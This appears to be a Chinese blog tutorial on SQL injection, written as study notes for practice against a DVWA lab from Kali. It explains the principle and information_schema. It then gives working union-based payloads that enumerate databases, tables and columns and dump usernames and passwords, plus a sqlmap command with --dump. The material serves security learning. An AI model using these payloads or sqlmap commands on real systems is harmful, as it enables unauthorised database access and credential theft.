sql注入


Sql注入.

1、SQL注入原理.

  1. 攻击者在页面提交恶意代码
  2. 服务器未对提交参数进行过滤或过滤不足
  3. 攻击者利用拼接sql语句方式获取数据库敏感信息

2、简单sql注入演示.

服务器 执行的SQL语句 : select * from user where id = '$id'($id 是一个输入参数)(原效果:获取单个用户的信息)

攻击者输入 $id = " ' or 1 = 1 --"

最终服务器解析的 sql语句: select * from user where id = ' ' or 1 = 1 --(注入效果:获取了数据表user的全部信息)

3、Sql注入实现方式.

  • 手动
    • 查找:注入点
    • 输入:SQL常用注入组合语法,进行注入
  • 自动(工具)
    • 工具:扫描注入点
    • 输入:自动产生各种组合语法

4、SQL注入危害.

  • 获取数据库信息,或被可以的修改数据库
  • 非法买卖用户信息
  • 危害web应用安全

5、特殊库介绍.

information_schema.

  • 作用:存储mysql中所有库名,表名,列名,是mysql数据的字典

  • 应用:sql注入中经常从此表中获取需要的库名,表名,字段名

  • 关注:

    • tables表:记录mysql库中所有的库名和表名
    • columns表:记录mysql中所有的库名,表名和列名
操作:.
  • 查看表:

    select * from information_schema.tables\G;
    select * from information_schema.columns\G;
  • 需关注的字段

    • TABLE_SCHEMA:数据库名
    • TABLE_NAME:表名
    • COLUMN_NAME:列名

6、注释.

在Sql注入中可以将查询条件注释掉

# 单行注释
-- 单行注释
/* 多行注释 */

7、注入流程.

  • 收集项目信息(操作系统,数据库类型,web服务器类型)
  • 查找注入点(单引号,#,转义字符\ 。。。。)
  • 注入sql语句
  • 获取数据库信息
  • 破解管理员的账号密码
  • 使用sql-shell等工具登录并获取数据

8、手动注入.

1.查找注入点.

  • 主要是使用 单引号 ';
  • 提交用户信息或?id=处使用单引号测试

2.注入SQL语句.

  • 逻辑或

    • 说明:常用于获取当前表的所有信息
    • 如:' or 1 = 1 #
      • '用于闭合前面的条件
      • #注释后面的条件
  • 案例

    • 获取user表中所有的用户名和密码

    • 方案使用union联合查询所有用户表的语句

    • 步骤

      • 猜测字段数

        # 第一次猜测
        ' union select 1#
        '# 第二次猜测
        ' union select 1,2#
        '# 结果: 直到不报语法错误,确认结果几个字段
- 获取数据库名

  ```mysql
  # 获取数据表 如果字段只有三个
  ' union select 1,2,database()#
  '# database() 用于显示 当前数据库 
  ```

  |      |      |                               |
  | ---- | ---- | ----------------------------- |
  | 1    | 2    | 当前数据库的名字(假如是 db) |



- 获取数据库下所有的表

  ```sql
  ' union select table_name,2,3 from information_schema.tables where table_schema = 'db'# 
  ```

- 获取数据表下所有的列

  ```mysql
  ' union select column_name,2,3 from information_schema.columns where table_name = 'user'# 
  ```



- 获取表中所有数据

  ```mysql
  # 1. 获取单个字段
  ' union select name,1,2 from user#
  '# 2. 获取两个字段
  ' union select name,pwd,1 from user#
  ```

- 获取大于union字段数的字段 (concat函数使用)

  ```MYSQL
  ' union select 1,2,concat('username:', name,'password:',pwd) from user#
  ```

9.自动注入.

1.工具.

  • sqlmap

    • 一款开源渗透测试工具
    • 自动检测和利用sql注入漏洞并接管数据库服务器
    • 搭建
      • 1.官网下载:http://sqlmap.org
      • 2.渗透机 kali自带
        • 使用步骤:
          • 1.启动kali虚拟机
          • 终端命令:sqlmap -h
  • 常用参数

    • -u :扫描目标url
    • –batch:自动处理提示信息
    • –cookie:附加cookie参数
    • –current-db 获取数据库名 -D应用 -D db
    • –tables 获取表名,-T应用 -T user
    • –columns 获取列名,-C应用 -C "name,pwd"
    • –dump 下载数据
  • sqlmap --batch --cookie "登录时保存的cookie" -u "http://...../login.php" -D db -T user -C "name,pwd" --dump
    # 前提是 必须通过 --current-db 等操作获取相应的 库 表 列 

靶机与渗透机.

靶机 – dvwa

渗透机 – kali


文章作者: liuminkai
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 liuminkai !
评论
 上一篇
数据库 数据库
为什么需要数据库?.有人会说为什么需要用数据库去存数据,用文件存储不香吗? 的确文件存储数据是很方便的,但是当数据量比较大的情况下,如何管理这些数据就成了大问题 读写文件并解析出数据需要大量重复代码 从成千上万的数据中快速查询出指定数据需
2020-07-23
下一篇 
MyBatis学习笔记-04-模糊查询 MyBatis学习笔记-04-模糊查询
模糊查询的几种方式. java代码执行的时候,传递通配符%% @Test public void getUserByLike(){ try(SqlSession sqlSession = MybatisUtils.getSqlSe
2020-07-23
  目录